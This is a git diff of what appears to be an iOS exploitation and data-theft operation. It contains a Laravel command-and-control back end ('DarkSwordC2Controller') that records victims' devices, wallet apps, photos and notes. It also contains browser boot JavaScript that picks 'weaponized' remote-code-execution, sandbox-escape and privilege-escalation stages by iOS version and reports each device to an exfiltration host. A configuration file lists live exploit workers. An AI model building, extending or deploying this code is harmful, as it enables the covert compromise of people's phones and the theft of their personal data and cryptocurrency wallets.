diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index b8860fe..6814495 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -46,7 +46,7 @@ class DeviceController extends Controller $filters = $this->filtersFrom($request); $q = $this->filteredQuery($filters); - $sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; + $sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'created_at'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { @@ -63,7 +63,7 @@ class DeviceController extends Controller return [ 'id' => $d->id, 'device_id' => $d->device_id, - 'family' => $d->family ?: Device::FAMILY_CORUNA, + 'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA), 'channel_id' => $d->channel_id ?: '', 'source_domain' => $d->source_domain ?: '', 'device_model' => $d->device_model ?: '', @@ -593,7 +593,7 @@ class DeviceController extends Controller } /** - * @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} + * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { @@ -605,7 +605,7 @@ class DeviceController extends Controller return [ 'device_key' => trim((string) $request->query('device_key', '')), - 'family' => trim((string) $request->query('family', '')), + 'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))), 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), @@ -618,7 +618,7 @@ class DeviceController extends Controller } /** - * @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters + * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { @@ -628,8 +628,8 @@ class DeviceController extends Controller if ($filters['device_key'] !== '') { $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); } - if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) { - $q->where('devices.family', $filters['family']); + if ($filters['chain'] !== null) { + $q->where('devices.chain', $filters['chain']); } if ($filters['channel_id'] !== '') { $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); @@ -658,4 +658,20 @@ class DeviceController extends Controller return $q; } + + private function parseChainFilter(mixed $raw): ?int + { + $value = is_string($raw) ? strtolower(trim($raw)) : $raw; + if ($value === '' || $value === null) { + return null; + } + if ($value === 1 || $value === '1' || $value === 'coruna') { + return Device::CHAIN_CORUNA; + } + if ($value === 2 || $value === '2' || $value === 'darksword') { + return Device::CHAIN_DARKSWORD; + } + + return null; + } } diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 954e671..9cfebd5 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller { $payload = $this->payloadFromQueryOrJson($request); - return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request)); + return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false); } public function peStage(Request $request, string $name = ''): SymfonyResponse @@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller $body['pe_stage'] = $stage; } - return $this->finish($request, $path, $payload, $this->logAck($request), $body); + $file = public_path('next-chain/pe_stage/'.$stage.'.js'); + if (! is_file($file)) { + $file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js'); + } + $js = is_file($file) ? (string) file_get_contents($file) : 'ok'; + + return $this->finish( + $request, + $path, + $payload, + response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'), + $body + ); } public function register(Request $request): SymfonyResponse @@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller array $payload, SymfonyResponse $response, array|string|null $logBody = null, + bool $ingest = true, ): SymfonyResponse { - try { - $this->ingest->ingest($request, $path, $payload); - } catch (\Throwable $e) { - error_log('[ds] ingest '.$path.' '.$e->getMessage()); + if ($ingest) { + try { + $this->ingest->ingest($request, $path, $payload); + } catch (\Throwable $e) { + error_log('[ds] ingest '.$path.' '.$e->getMessage()); + } } $body = $logBody ?? $this->previewBody($request); diff --git a/app/Models/Device.php b/app/Models/Device.php index 2b893ff..9b8e433 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -13,18 +13,18 @@ class Device extends Model public const WALLET_YES = 2; - public const FAMILY_CORUNA = 'coruna'; + public const CHAIN_CORUNA = 1; - public const FAMILY_DARKSWORD = 'darksword'; + public const CHAIN_DARKSWORD = 2; protected $fillable = [ - 'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', + 'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', ]; protected $attributes = [ 'has_wallet' => self::WALLET_UNKNOWN, - 'family' => self::FAMILY_CORUNA, + 'chain' => self::CHAIN_CORUNA, ]; protected function casts(): array @@ -33,10 +33,16 @@ class Device extends Model 'telegram_notified' => 'boolean', 'album_storage' => 'boolean', 'has_wallet' => 'integer', + 'chain' => 'integer', 'wallet_names' => 'array', ]; } + public function isDarkSword(): bool + { + return (int) $this->chain === self::CHAIN_DARKSWORD; + } + public function hasWalletApps(): bool { return (int) $this->has_wallet === self::WALLET_YES; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 910a4d7..e10c015 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -42,8 +42,8 @@ class DarkSwordIngestAdapter public function ingest(Request $request, string $path, array $payload): void { match ($path) { - '/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload), - '/api/ds/log' => $this->ingestLog($request, $payload), + '/api/ds/device/register' => $this->ingestRegister($request, $payload), + '/api/ds/log' => null, '/a' => $this->ingestProfile($request, $payload), '/u' => $this->ingestApps($request, $payload), '/nb' => $this->ingestNotes($request, $payload), @@ -277,7 +277,7 @@ class DarkSwordIngestAdapter if ($existing) { $touch = [ 'updated_at' => now(), - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]; if ($ip !== '') { $touch['ip'] = $ip; @@ -299,7 +299,7 @@ class DarkSwordIngestAdapter $device = Device::query()->create([ 'device_id' => $key, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, 'ip' => $ip !== '' ? $ip : null, 'device_model' => $model, 'ios_version' => $ios, diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index a1cd57a..6e873da 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -27,7 +27,7 @@ class DsBeaconQueue public function seed(Device $device): void { - if ($device->family !== Device::FAMILY_DARKSWORD) { + if ((int) $device->chain !== Device::CHAIN_DARKSWORD) { return; } diff --git a/bootstrap/app.php b/bootstrap/app.php index 5922941..7de14ca 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -65,7 +65,6 @@ return Application::configure(basePath: dirname(__DIR__)) 'war', 'p', 'stats', - 'log.html', ]); $middleware->redirectGuestsTo(function () { diff --git a/channel-builder-ds/README.md b/channel-builder-ds/README.md index d3c7801..8514313 100644 --- a/channel-builder-ds/README.md +++ b/channel-builder-ds/README.md @@ -1,31 +1,15 @@ # channel-builder-ds -DarkSword / one99 static builder. `source/` is the pristine tree (live hosts). -`tools/build.py` rewrites C2 / delivery origins and copies the result to -`public/next-chain`. Runtime splits two bases: +`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。 -- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`) -- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war) +**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。 +**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。 -If the page is served under `/next-chain/`, delivery host is inferred automatically. -Override in `source/config.js`: - -```js -deliveryHost: "https://cdn.example.com/next-chain", // full base, or -deliveryPath: "/next-chain", // location.origin + path -exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true }, -``` +weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。 ```bash -# 本地实验室 -php artisan ds:build --origin http://192.168.31.130:8000 - -# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130) -php artisan ds:build --origin https://你的域名 - -# 等价 -cd channel-builder-ds -python3 tools/build.py --origin https://你的域名 +php artisan ds:build --c2 http://192.168.31.130:8000 +php artisan xxbb:repack ``` -看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。 +PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。 diff --git a/channel-builder-ds/source/api/chain-targets.json b/channel-builder-ds/source/api/chain-targets.json new file mode 100644 index 0000000..5a4ae3f --- /dev/null +++ b/channel-builder-ds/source/api/chain-targets.json @@ -0,0 +1 @@ +{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true} diff --git a/channel-builder-ds/source/api/device-context.json b/channel-builder-ds/source/api/device-context.json new file mode 100644 index 0000000..46c71f5 --- /dev/null +++ b/channel-builder-ds/source/api/device-context.json @@ -0,0 +1 @@ +{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"} diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js index 63d6d35..4495bc8 100644 --- a/channel-builder-ds/source/boot.js +++ b/channel-builder-ds/source/boot.js @@ -2,10 +2,92 @@ 'use strict'; var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 }; - window.__LAB_CHAIN__ = ''; + window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || ''; + + function trimSlash(s) { + return String(s || '').replace(/\/+$/, ''); + } + + function hostOnly(raw) { + return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + } + + function persistChannelCode(code) { + code = String(code || '').trim().slice(0, 64); + if (!code) return ''; + try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {} + try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {} + try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {} + try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {} + return code; + } + + function labChannelCode() { + try { + if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__); + } catch (e0) {} + try { + var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || ''; + if (stored) return persistChannelCode(stored); + } catch (e1) {} + try { + var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); + } catch (e2) {} + return ''; + } + + function assetBase() { + try { + if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__); + } catch (e0) {} + var origin = ''; + try { + if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin); + } catch (e1) {} + var path = '/next-chain'; + try { + var cfg = window.NEWS2_CONFIG || {}; + if (cfg.deliveryPath) path = String(cfg.deliveryPath); + } catch (e2) {} + if (path.charAt(0) !== '/') path = '/' + path; + return origin + path.replace(/\/+$/, ''); + } + + function apiBase() { + try { + var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) + ? window.__LAB_EXFIL__ + : ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null); + if (ex && ex.host) { + var tls = !!(ex.tls || ex.prefer_https); + var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); + var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host); + if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; + return origin; + } + } catch (e0) {} + try { + if (location.origin && location.origin !== 'null') return trimSlash(location.origin); + } catch (e1) {} + return ''; + } + + function applyExfil(ex) { + if (!ex || !ex.host) return; + window.__LAB_EXFIL__ = { + host: hostOnly(ex.host), + domain: hostOnly(ex.domain || ex.host), + http_port: ex.http_port != null ? Number(ex.http_port) : 80, + https_port: ex.https_port != null ? Number(ex.https_port) : 80, + tls: !!ex.tls, + prefer_https: !!ex.prefer_https, + stats_url: ex.stats_url || '', + stats_url_direct: ex.stats_url_direct || '', + delivery_stats_url: ex.delivery_stats_url || '', + }; + } - var _stageQueue = []; - var _lastPostedStage = ''; function notify(stage, progress, label) { try { if (window.parent && window.parent !== window) { @@ -18,84 +100,46 @@ }, '*'); } } catch (e) {} - enqueueStage(stage, progress, label); - } - function enqueueStage(stage, progress, label) { - var key = String(stage) + '|' + String(progress) + '|' + String(label || stage); - if (key === _lastPostedStage) return; - _lastPostedStage = key; - _stageQueue.push({ stage: stage, progress: progress, label: label || stage }); - flushStageReports(); - } - function flushStageReports() { - var id = ''; - try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {} - if (!id) return; - var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''; - while (_stageQueue.length) { - var item = _stageQueue.shift(); - try { - fetch(apiUrl('/api/ds/log'), { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id }, - credentials: 'omit', - body: JSON.stringify({ - deviceUUID: id, - stage: item.stage, - progress: item.progress, - label: item.label, - chain: window.__LAB_CHAIN__ || '', - channelCode: channel - }) - }).catch(function () {}); - } catch (eS) {} - } } + labChannelCode(); + window.__LAB_DELIVERY_HOST__ = assetBase(); + try { + if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil); + } catch (eCfg) {} + + var base = assetBase(); + var api = apiBase(); + notify('boot', STAGE.boot, 'frame_boot'); - - if (typeof labEnsureHosts === 'function') labEnsureHosts(); - var base = (typeof labDeliveryHost === 'function') - ? labDeliveryHost() - : String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, ''); - window.__LAB_DELIVERY_HOST__ = base; - function apiUrl(path) { - return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path); - } - function assetUrl(path) { - return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path)); - } - - // 記錄 frame.html 載入時間戳 console.log('[Frame] Loaded at', new Date().toISOString()); - fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {}); + fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {}); function resolveExfilInline() { try { var xhr = new XMLHttpRequest(); - xhr.open('GET', apiUrl('/api/ds/chain-targets'), false); + xhr.open('GET', api + '/api/ds/chain-targets', false); xhr.send(); if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { var d = JSON.parse(xhr.responseText); if (d.exfil && d.exfil.host) { - if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); - else window.__LAB_EXFIL__ = d.exfil; + applyExfil(d.exfil); + api = apiBase(); return; } } } catch (e) {} if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) { - window.__LAB_EXFIL__ = { - host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', - domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', - http_port: 443, - https_port: 443, - tls: false, + var h = hostOnly(api || location.hostname); + applyExfil({ + host: h, + domain: h, + http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), + https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), + tls: location.protocol === 'https:', prefer_https: false, - stats_url: '', - stats_url_direct: '', - delivery_stats_url: '', - }; + }); + api = apiBase(); } } resolveExfilInline(); @@ -114,7 +158,7 @@ function cmpVer(a, b) { for (var i = 0; i < 3; i++) { - var ai = a[i] || 0, bi = b[i] || 0; + var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0; if (ai < bi) return -1; if (ai > bi) return 1; } @@ -132,7 +176,6 @@ function isSilkPathRange(v) { if (!v || !v.length) return false; var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; - // 17.2.2+ through 18.3 — fills post-Coruna gap if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true; if (maj === 18 && min <= 3) return true; return false; @@ -156,19 +199,7 @@ setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); } }; - document.body.appendChild(s); - } - - function loadChainLoader(onload, attempt) { - attempt = attempt || 0; - var s = document.createElement('script'); - s.async = false; - s.src = assetUrl('/rce_loader.js?_=' + Date.now()); - s.onload = function () { if (onload) onload(); }; - s.onerror = function () { - if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1)); - }; - document.body.appendChild(s); + (document.body || document.documentElement).appendChild(s); } var ios = parseIosVersion(); @@ -187,14 +218,14 @@ var apiPlan = null; try { var xhrPlan = new XMLHttpRequest(); - xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false); + xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false); xhrPlan.send(); if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) { apiPlan = JSON.parse(xhrPlan.responseText); if (apiPlan.chain) chain = apiPlan.chain; if (apiPlan.exfil) { - if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil); - else window.__LAB_EXFIL__ = apiPlan.exfil; + applyExfil(apiPlan.exfil); + api = apiBase(); } window.__LAB_BAND__ = apiPlan.band || null; window.__LAB_GATED__ = !!apiPlan.gated; @@ -204,19 +235,16 @@ window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || ''; window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || ''; window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt); - if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) { - window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js'; - } try { var pw = window.__LAB_RECOMMENDED_WORKER__; if (pw) { var l = document.createElement('link'); - l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw); + l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw; document.head.appendChild(l); } - ['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){ - var l2=document.createElement('link'); - l2.rel='prefetch'; l2.href=assetUrl('/'+f); + ['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) { + var l2 = document.createElement('link'); + l2.rel = 'prefetch'; l2.href = base + '/' + f; document.head.appendChild(l2); }); } catch (ePre) {} @@ -257,7 +285,6 @@ du = m ? decodeURIComponent(m[1]) : ''; } catch (eCk) {} } - // Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32(); window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32); try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {} @@ -267,20 +294,14 @@ } catch (e0) { try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {} } - window.addEventListener('message', function (ev) { - if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return; - window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase(); - try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {} - try { flushStageReports(); } catch (eF) {} - }); })(); - try { flushStageReports(); } catch (eFlush) {} (function registerFrameDevice() { try { var id = window.__LAB_DEVICE_UUID__ || ''; if (!id) return; var iosStr = ios ? ios.join('.') : ''; + var channel = labChannelCode(); var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id }; var regBody = JSON.stringify({ deviceUUID: id, @@ -289,9 +310,9 @@ ios: iosStr, ios_version: iosStr, chain: chain === 'blocked' ? 'out_of_scope' : chain, - channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '' + channelCode: channel }); - fetch(apiUrl('/api/ds/device/register'), { + fetch(api + '/api/ds/device/register', { method: 'POST', headers: regHeaders, credentials: 'omit', @@ -301,30 +322,25 @@ if (canon) { window.__LAB_DEVICE_UUID__ = canon; try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {} - try { - document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax'; - } catch (e4) {} - if (window.parent && window.parent !== window) { - try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {} - } } }).catch(function () {}); } catch (e) {} })(); - + console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown'); console.log('[Frame] Chain selected:', chain); (function () { var id = window.__LAB_DEVICE_UUID__ || ''; var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown')); if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id); - fetch(apiUrl('/api/ds/log?' + q), { + var ch = labChannelCode(); + if (ch) q += '&channelCode=' + encodeURIComponent(ch); + fetch(api + '/api/ds/log?' + q, { method: 'GET', headers: id ? { 'X-Device-UUID': id } : {} }).catch(function () {}); })(); - function setHold(kind) { try { var ts = String(Date.now()); @@ -334,86 +350,32 @@ localStorage.setItem('__ds_rce_hold', ts); sessionStorage.setItem('__ds_rce_hold', ts); } - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*'); - } } catch (e) {} } - if (chain === 'coruna') { - notify('loader', STAGE.loader); - // Prefer full group.html entry when top-level; inside iframe use loader - var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0) - ? window.__LAB_ENTRY__ - : '/coruna/group.html'; - try { - if (window.top === window) { - location.replace(assetUrl(corunaEntry) + (location.search || '')); - return; - } - } catch (eTop) {} - loadScript(assetUrl('/coruna/coruna_loader.js'), function () { - notify('worker', STAGE.worker); - }); - } else if (chain === 'silkpath') { + if (chain === 'darksword' || chain === 'ghostwave') { setHold('rce'); notify('loader', STAGE.loader); - loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () { + loadScript(base + '/rce_loader.js', function () { notify('worker', STAGE.worker); }); - } else if (chain === 'darksword' || chain === 'ghostwave') { - // Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm - // reload the page while stage1 is still running (looks like "auto refresh"). - setHold('rce'); + } else if (chain === 'coruna' || chain === 'silkpath') { notify('loader', STAGE.loader); - // Load plaintext rce_loader.js - loadChainLoader(function () { - notify('worker', STAGE.worker); - }); } else { - loadScript(assetUrl('/chain_blocked.js'), function () { - notify('loader', STAGE.loader); - }); + notify('loader', STAGE.loader); } var _log = console.log; console.log = function () { var msg = Array.prototype.join.call(arguments, ' '); - // Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6. if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker); if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0); if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1); if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe); - // S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post); else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) { notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾'); } - if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0); - if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe); - // Signal parent: CoreAnimation→sendPort hang needs timely re-arm - if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*'); - } - } catch (_) {} - } - // GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm - if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*'); - } - } catch (_) {} - } - if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*'); - } - } catch (_) {} - } return _log.apply(console, arguments); }; })(); diff --git a/channel-builder-ds/source/config.js b/channel-builder-ds/source/config.js index d52374a..b6ca209 100644 --- a/channel-builder-ds/source/config.js +++ b/channel-builder-ds/source/config.js @@ -1,18 +1,12 @@ window.NEWS2_CONFIG = { - // 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain - deliveryHost: "", deliveryPath: "/next-chain", - qqtimePath: "/qqtime/", - // C2 / API → coruna-lab :8000 + // C2 / API — ds:build --c2 rewrites this block exfil: { host: "192.168.31.130", domain: "192.168.31.130", - http_port: 8000, - https_port: 8000, + http_port: 8080, + https_port: 8080, tls: false, prefer_https: false, }, - redirectUrl: "https://ab.ux600.com", - countdownSeconds: 8, }; -if (typeof labApplyNews2Config === "function") labApplyNews2Config(); diff --git a/channel-builder-ds/source/done.html b/channel-builder-ds/source/done.html index dce94c8..441319e 100644 --- a/channel-builder-ds/source/done.html +++ b/channel-builder-ds/source/done.html @@ -22,20 +22,10 @@
- + - +